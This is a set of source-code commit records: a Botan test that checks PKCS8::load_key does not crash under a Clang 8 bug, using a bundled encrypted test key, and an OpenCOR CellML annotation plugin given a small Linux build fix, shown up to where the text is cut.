INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ <|endoftext|>
<commit_before>/* * (C) 2020 Jack Lloyd, René Meusel, Hannes Rantzsch * * Botan is released under the Simplified BSD License (see license.txt) */ /* * This test case ensures that we avoid crashing in PKCS8::load_key due to a bug in Clang 8. * * A detailed description of the issue can be found here: https://github.com/randombit/botan/issues/2255. * In short, Clang 8 performs a double-free on captured objects if an exception is thrown within a lambda. This case can * occur when PKCS8::load_key fails to load the key due to a wrong password. The password needs to be long enough to not * be small buffer optimized. * * The Clang bug is tracked here and apparently won't be fixed in Clang 8: https://bugs.llvm.org/show_bug.cgi?id=41810. * Other Clang versions seem not to be affected. */ #include "tests.h" #if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO) #include <botan/system_rng.h> #include <botan/pkcs8.h> #include <botan/data_src.h> #endif // BOTAN_HAS_PUBLIC_KEY_CRYPTO namespace Botan_Tests { #if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO) namespace { // The key needs to be a PKCS #8 encoded and encrypted private key. std::string getPrivateKey() { return "-----BEGIN ENCRYPTED PRIVATE KEY-----" "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" "-----END ENCRYPTED PRIVATE KEY-----"; } } // namespace class Clang_Bug_41810 final : public Test { public: std::vector<Test::Result> run() override { Test::Result result("PKCS8::load_key does not crash when compiled with Clang 8"); Botan::System_RNG rng; auto pem = getPrivateKey(); Botan::DataSource_Memory ds(reinterpret_cast<const uint8_t*>(pem.data()), pem.size()); std::string pw = "01234567890123456789"; // sufficiently long, wrong password // Note: the correct password for this key is "smallbufferoptimization" try { Botan::PKCS8::load_key(ds, rng, pw); result.test_failure("load_key should have thrown due to wrong password"); } catch(const std::exception&) { result.test_success("load_key doesn't crash"); } return {result}; } }; BOTAN_REGISTER_TEST("clang_bug", Clang_Bug_41810); #endif // BOTAN_HAS_PUBLIC_KEY_CRYPTO } // namespace Botan_Tests <commit_msg>Avoid using system RNG in Clang bug test<commit_after>/* * (C) 2020 Jack Lloyd, René Meusel, Hannes Rantzsch * * Botan is released under the Simplified BSD License (see license.txt) */ /* * This test case ensures that we avoid crashing in PKCS8::load_key due to a bug in Clang 8. * * A detailed description of the issue can be found here: https://github.com/randombit/botan/issues/2255. * In short, Clang 8 performs a double-free on captured objects if an exception is thrown within a lambda. This case can * occur when PKCS8::load_key fails to load the key due to a wrong password. The password needs to be long enough to not * be small buffer optimized. * * The Clang bug is tracked here and apparently won't be fixed in Clang 8: https://bugs.llvm.org/show_bug.cgi?id=41810. * Other Clang versions seem not to be affected. */ #include "tests.h" #if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO) #include <botan/pkcs8.h> #include <botan/data_src.h> #endif // BOTAN_HAS_PUBLIC_KEY_CRYPTO namespace Botan_Tests { #if defined(BOTAN_HAS_PUBLIC_KEY_CRYPTO) namespace { // The key needs to be a PKCS #8 encoded and encrypted private key. std::string getPrivateKey() { return "-----BEGIN ENCRYPTED PRIVATE KEY-----" "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" "-----END ENCRYPTED PRIVATE KEY-----"; } } // namespace class Clang_Bug_41810 final : public Test { public: std::vector<Test::Result> run() override { Test::Result result("PKCS8::load_key does not crash when compiled with Clang 8"); auto pem = getPrivateKey(); Botan::DataSource_Memory ds(reinterpret_cast<const uint8_t*>(pem.data()), pem.size()); std::string pw = "01234567890123456789"; // sufficiently long, wrong password // Note: the correct password for this key is "smallbufferoptimization" try { Botan::PKCS8::load_key(ds, Test::rng(), pw); result.test_failure("load_key should have thrown due to wrong password"); } catch(const std::exception&) { result.test_success("load_key doesn't crash"); } return {result}; } }; BOTAN_REGISTER_TEST("clang_bug", Clang_Bug_41810); #endif // BOTAN_HAS_PUBLIC_KEY_CRYPTO } // namespace Botan_Tests <|endoftext|>
<commit_before>/******************************************************************************* Licensed to the OpenCOR team under one or more contributor license agreements. See the NOTICE.txt file distributed with this work for additional information regarding copyright ownership. The OpenCOR team licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *******************************************************************************/ //============================================================================== // CellMLAnnotationView plugin //============================================================================== #include "cellmlannotationviewmetadatadetailswidget.h" #include "cellmlannotationviewplugin.h" #include "cellmlannotationviewwidget.h" #include "cellmlfilemanager.h" #include "cellmlsupportplugin.h" //============================================================================== #include <QApplication> #include <QDesktopWidget> #include <QMainWindow> #include <QSettings> //============================================================================== namespace OpenCOR { namespace CellMLAnnotationView { //============================================================================== PLUGININFO_FUNC CellMLAnnotationViewPluginInfo() { Descriptions descriptions; descriptions.insert("en", QString::fromUtf8("a plugin to annotate CellML files.")); descriptions.insert("fr", QString::fromUtf8("une extension pour annoter des fichiers CellML.")); return new PluginInfo(PluginInfo::Editing, true, QStringList() << "CellMLSupport", descriptions); } //============================================================================== CellMLAnnotationViewPlugin::CellMLAnnotationViewPlugin() : mSizes(QList<int>()), mMetadataDetailsWidgetSizes(QList<int>()), mViewWidgets(QMap<QString, CellmlAnnotationViewWidget *>()) { // Set our settings mGuiSettings->setView(GuiViewSettings::Editing, QStringList() << CellMLSupport::CellmlMimeType); } //============================================================================== CellMLAnnotationViewPlugin::~CellMLAnnotationViewPlugin() { // Delete our view widgets foreach (QWidget *viewWidget, mViewWidgets) delete viewWidget; } //============================================================================== // Core interface //============================================================================== void CellMLAnnotationViewPlugin::initialize() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::finalize() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::initialized(const Plugins &pLoadedPlugins) { // We don't handle this interface... } //============================================================================== static const auto SettingsCellmlAnnotationViewWidget = QStringLiteral("CellmlAnnotationViewWidget"); static const auto SettingsCellmlAnnotationViewWidgetSizes = QStringLiteral("Sizes"); static const auto SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes = QStringLiteral("MetadataDetailsWidgetSizes"); //============================================================================== void CellMLAnnotationViewPlugin::loadSettings(QSettings *pSettings) { // Retrieve the size of the different items that make up our splitters // Note: we would normally do this in CellmlAnnotationViewWidget, but we // have one instance of it per CellML file and we want to share some // information between the different instances, so we have to do it // here instead... qRegisterMetaTypeStreamOperators< QList<int> >("QList<int>"); pSettings->beginGroup(SettingsCellmlAnnotationViewWidget); QVariant defaultSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().width() << 0.75*qApp->desktop()->screenGeometry().width()); QVariant defaultMetadataDetailsWidgetSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().height() << 0.25*qApp->desktop()->screenGeometry().height() << 0.50*qApp->desktop()->screenGeometry().height()); mSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetSizes, defaultSizes).value< QList<int> >(); mMetadataDetailsWidgetSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, defaultMetadataDetailsWidgetSizes).value< QList<int> >(); pSettings->endGroup(); } //============================================================================== void CellMLAnnotationViewPlugin::saveSettings(QSettings *pSettings) const { // Keep track of the tree view widget's and CellML annotation's width // Note: we must also keep track of the CellML annotation's width because // when loading our settings (see above), the view widget doesn't yet // have a 'proper' width, so we couldn't simply assume that the Cellml // annotation's initial width is this view widget's width minus the // tree view widget's initial width, so... pSettings->beginGroup(SettingsCellmlAnnotationViewWidget); pSettings->setValue(SettingsCellmlAnnotationViewWidgetSizes, QVariant::fromValue< QList<int> >(mSizes)); pSettings->setValue(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, QVariant::fromValue< QList<int> >(mMetadataDetailsWidgetSizes)); pSettings->endGroup(); } //============================================================================== void CellMLAnnotationViewPlugin::settingsLoaded(const Plugins &pLoadedPlugins) { Q_UNUSED(pLoadedPlugins); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::handleArguments(const QStringList &pArguments) { Q_UNUSED(pArguments); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::handleAction(const QUrl &pUrl) { Q_UNUSED(pUrl); // We don't handle this interface... } //============================================================================== // GUI interface //============================================================================== void CellMLAnnotationViewPlugin::changeEvent(QEvent *pEvent) { Q_UNUSED(pEvent); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::updateGui(Plugin *pViewPlugin, const QString &pFileName) { Q_UNUSED(pViewPlugin); Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::initializeView() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::finalizeView() { // We don't handle this interface... } //============================================================================== bool CellMLAnnotationViewPlugin::hasViewWidget(const QString &pFileName) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return false; // Return whether we have a view widget associated with the given CellML // file return mViewWidgets.value(pFileName); } //============================================================================== QWidget * CellMLAnnotationViewPlugin::viewWidget(const QString &pFileName, const bool &pCreate) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return 0; // Retrieve the view widget associated with the given CellML file CellmlAnnotationViewWidget *res = mViewWidgets.value(pFileName); // Create a new view widget, if none could be retrieved if (!res && pCreate) { res = new CellmlAnnotationViewWidget(this, pFileName, mMainWindow); // Initialise our new view widget's sizes res->setSizes(mSizes); res->metadataDetails()->splitter()->setSizes(mMetadataDetailsWidgetSizes); // Keep track of the splitter move in our new view widget connect(res, SIGNAL(splitterMoved(const QList<int> &)), this, SLOT(splitterMoved(const QList<int> &))); connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), this, SLOT(metadataDetailsWidgetSplitterMoved(const QList<int> &))); // Some other connections to handle splitter moves between our view // widgets foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) { // Make sur that our new view widget is aware of any splitter move // occuring in the other view widget connect(res, SIGNAL(splitterMoved(const QList<int> &)), viewWidget, SLOT(updateSizes(const QList<int> &))); connect(res->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), viewWidget->metadataDetails(), SLOT(updateSizes(const QList<int> &))); // Make sur that the other view widget is aware of any splitter move // occuring in our new view widget connect(viewWidget, SIGNAL(splitterMoved(const QList<int> &)), res, SLOT(updateSizes(const QList<int> &))); connect(viewWidget->metadataDetails(), SIGNAL(splitterMoved(const QList<int> &)), res->metadataDetails(), SLOT(updateSizes(const QList<int> &))); } // Keep track of our new view widget mViewWidgets.insert(pFileName, res); } // Return our view widget return res; } //============================================================================== void CellMLAnnotationViewPlugin::removeViewWidget(const QString &pFileName) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return; // Remove the view widget from our list, should there be one for the given // CellML file CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName); if (viewWidget) { // There is a view widget for the given file name, so delete it and // remove it from our list delete viewWidget; mViewWidgets.remove(pFileName); } } //============================================================================== QString CellMLAnnotationViewPlugin::viewName() const { // Return our CellML annotation view's name return tr("CellML Annotation"); } //============================================================================== QIcon CellMLAnnotationViewPlugin::fileTabIcon(const QString &pFileName) const { Q_UNUSED(pFileName); // We don't handle this interface... return QIcon(); } //============================================================================== bool CellMLAnnotationViewPlugin::saveFile(const QString &pOldFileName, const QString &pNewFileName) { // Retrieve the view widget associated with the 'old' file name and, if any, // save it CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName); return viewWidget?viewWidget->cellmlFile()->save(pNewFileName):false; } //============================================================================== void CellMLAnnotationViewPlugin::fileOpened(const QString &pFileName) { Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::filePermissionsChanged(const QString &pFileName) { // The given file has been un/locked, so retranslate ourselves (since some // messages may be locked-dependent) // Note: our plugin is such that retranslating it will update the GUI (since // it was easier/faster to do it that way), so all we had to do was to // to make those updateGui() methods locked-dependent... if (mViewWidgets.value(pFileName)) retranslateUi(); } //============================================================================== void CellMLAnnotationViewPlugin::fileModified(const QString &pFileName, const bool &pModified) { Q_UNUSED(pFileName); Q_UNUSED(pModified); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::fileReloaded(const QString &pFileName) { // The given file has been reloaded, so let its corresponding view widget // know about it CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pFileName); if (viewWidget) viewWidget->fileReloaded(); } //============================================================================== void CellMLAnnotationViewPlugin::fileRenamed(const QString &pOldFileName, const QString &pNewFileName) { // A file has been renamed, so update our view widgets mapping CellmlAnnotationViewWidget *viewWidget = mViewWidgets.value(pOldFileName); if (viewWidget) { mViewWidgets.insert(pNewFileName, viewWidget); mViewWidgets.remove(pOldFileName); } } //============================================================================== void CellMLAnnotationViewPlugin::fileClosed(const QString &pFileName) { Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== bool CellMLAnnotationViewPlugin::canClose() { // We don't handle this interface... return true; } //============================================================================== // I18n interface //============================================================================== void CellMLAnnotationViewPlugin::retranslateUi() { // Retranslate all of our CellML annotation view widgets foreach (CellmlAnnotationViewWidget *viewWidget, mViewWidgets) viewWidget->retranslateUi(); } //============================================================================== // Plugin specific //============================================================================== void CellMLAnnotationViewPlugin::splitterMoved(const QList<int> &pSizes) { // The splitter of one of our CellML annotation view widgets has been moved, // so update things mSizes = pSizes; } //============================================================================== void CellMLAnnotationViewPlugin::metadataDetailsWidgetSplitterMoved(const QList<int> &pSizes) { // The splitter of one of our CellML annotation view's metadata details // widgets has been moved, so update things mMetadataDetailsWidgetSizes = pSizes; } //============================================================================== } // namespace CellMLAnnotationView } // namespace OpenCOR //============================================================================== // End of file //============================================================================== <commit_msg>Fixed a small building issue on Linux.<commit_after>/******************************************************************************* Licensed to the OpenCOR team under one or more contributor license agreements. See the NOTICE.txt file distributed with this work for additional information regarding copyright ownership. The OpenCOR team licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *******************************************************************************/ //============================================================================== // CellMLAnnotationView plugin //============================================================================== #include "cellmlannotationviewmetadatadetailswidget.h" #include "cellmlannotationviewplugin.h" #include "cellmlannotationviewwidget.h" #include "cellmlfilemanager.h" #include "cellmlsupportplugin.h" //============================================================================== #include <QApplication> #include <QDesktopWidget> #include <QMainWindow> #include <QSettings> //============================================================================== namespace OpenCOR { namespace CellMLAnnotationView { //============================================================================== PLUGININFO_FUNC CellMLAnnotationViewPluginInfo() { Descriptions descriptions; descriptions.insert("en", QString::fromUtf8("a plugin to annotate CellML files.")); descriptions.insert("fr", QString::fromUtf8("une extension pour annoter des fichiers CellML.")); return new PluginInfo(PluginInfo::Editing, true, QStringList() << "CellMLSupport", descriptions); } //============================================================================== CellMLAnnotationViewPlugin::CellMLAnnotationViewPlugin() : mSizes(QList<int>()), mMetadataDetailsWidgetSizes(QList<int>()), mViewWidgets(QMap<QString, CellmlAnnotationViewWidget *>()) { // Set our settings mGuiSettings->setView(GuiViewSettings::Editing, QStringList() << CellMLSupport::CellmlMimeType); } //============================================================================== CellMLAnnotationViewPlugin::~CellMLAnnotationViewPlugin() { // Delete our view widgets foreach (QWidget *viewWidget, mViewWidgets) delete viewWidget; } //============================================================================== // Core interface //============================================================================== void CellMLAnnotationViewPlugin::initialize() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::finalize() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::initialized(const Plugins &pLoadedPlugins) { Q_UNUSED(pLoadedPlugins); // We don't handle this interface... } //============================================================================== static const auto SettingsCellmlAnnotationViewWidget = QStringLiteral("CellmlAnnotationViewWidget"); static const auto SettingsCellmlAnnotationViewWidgetSizes = QStringLiteral("Sizes"); static const auto SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes = QStringLiteral("MetadataDetailsWidgetSizes"); //============================================================================== void CellMLAnnotationViewPlugin::loadSettings(QSettings *pSettings) { // Retrieve the size of the different items that make up our splitters // Note: we would normally do this in CellmlAnnotationViewWidget, but we // have one instance of it per CellML file and we want to share some // information between the different instances, so we have to do it // here instead... qRegisterMetaTypeStreamOperators< QList<int> >("QList<int>"); pSettings->beginGroup(SettingsCellmlAnnotationViewWidget); QVariant defaultSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().width() << 0.75*qApp->desktop()->screenGeometry().width()); QVariant defaultMetadataDetailsWidgetSizes = QVariant::fromValue< QList<int> >(QList<int>() << 0.25*qApp->desktop()->screenGeometry().height() << 0.25*qApp->desktop()->screenGeometry().height() << 0.50*qApp->desktop()->screenGeometry().height()); mSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetSizes, defaultSizes).value< QList<int> >(); mMetadataDetailsWidgetSizes = pSettings->value(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, defaultMetadataDetailsWidgetSizes).value< QList<int> >(); pSettings->endGroup(); } //============================================================================== void CellMLAnnotationViewPlugin::saveSettings(QSettings *pSettings) const { // Keep track of the tree view widget's and CellML annotation's width // Note: we must also keep track of the CellML annotation's width because // when loading our settings (see above), the view widget doesn't yet // have a 'proper' width, so we couldn't simply assume that the Cellml // annotation's initial width is this view widget's width minus the // tree view widget's initial width, so... pSettings->beginGroup(SettingsCellmlAnnotationViewWidget); pSettings->setValue(SettingsCellmlAnnotationViewWidgetSizes, QVariant::fromValue< QList<int> >(mSizes)); pSettings->setValue(SettingsCellmlAnnotationViewWidgetMetadataDetailsWidgetSizes, QVariant::fromValue< QList<int> >(mMetadataDetailsWidgetSizes)); pSettings->endGroup(); } //============================================================================== void CellMLAnnotationViewPlugin::settingsLoaded(const Plugins &pLoadedPlugins) { Q_UNUSED(pLoadedPlugins); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::handleArguments(const QStringList &pArguments) { Q_UNUSED(pArguments); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::handleAction(const QUrl &pUrl) { Q_UNUSED(pUrl); // We don't handle this interface... } //============================================================================== // GUI interface //============================================================================== void CellMLAnnotationViewPlugin::changeEvent(QEvent *pEvent) { Q_UNUSED(pEvent); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::updateGui(Plugin *pViewPlugin, const QString &pFileName) { Q_UNUSED(pViewPlugin); Q_UNUSED(pFileName); // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::initializeView() { // We don't handle this interface... } //============================================================================== void CellMLAnnotationViewPlugin::finalizeView() { // We don't handle this interface... } //============================================================================== bool CellMLAnnotationViewPlugin::hasViewWidget(const QString &pFileName) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return false; // Return whether we have a view widget associated with the given CellML // file return mViewWidgets.value(pFileName); } //============================================================================== QWidget * CellMLAnnotationViewPlugin::viewWidget(const QString &pFileName, const bool &pCreate) { // Make sure that we are dealing with a CellML file if (!CellMLSupport::CellmlFileManager::instance()->cellmlFile(pFileName)) return 0; // Retrieve the view widget associated with the given CellML file CellmlAnnotationViewWidget *res = mViewWidgets.value(pFileName); // Create a new view widget, if none could be retrieved if (!res && pCreate) { res = new CellmlAnnotationViewWidget(this, pFileName, mMainWindow); // Initialise our new view widget's sizes res->setSizes(mSizes); res->metadataDetails()->splitter()->setSizes(mMetadataDetailsWidgetSizes); // Keep track of the splitter move in our new view widget connect(res, 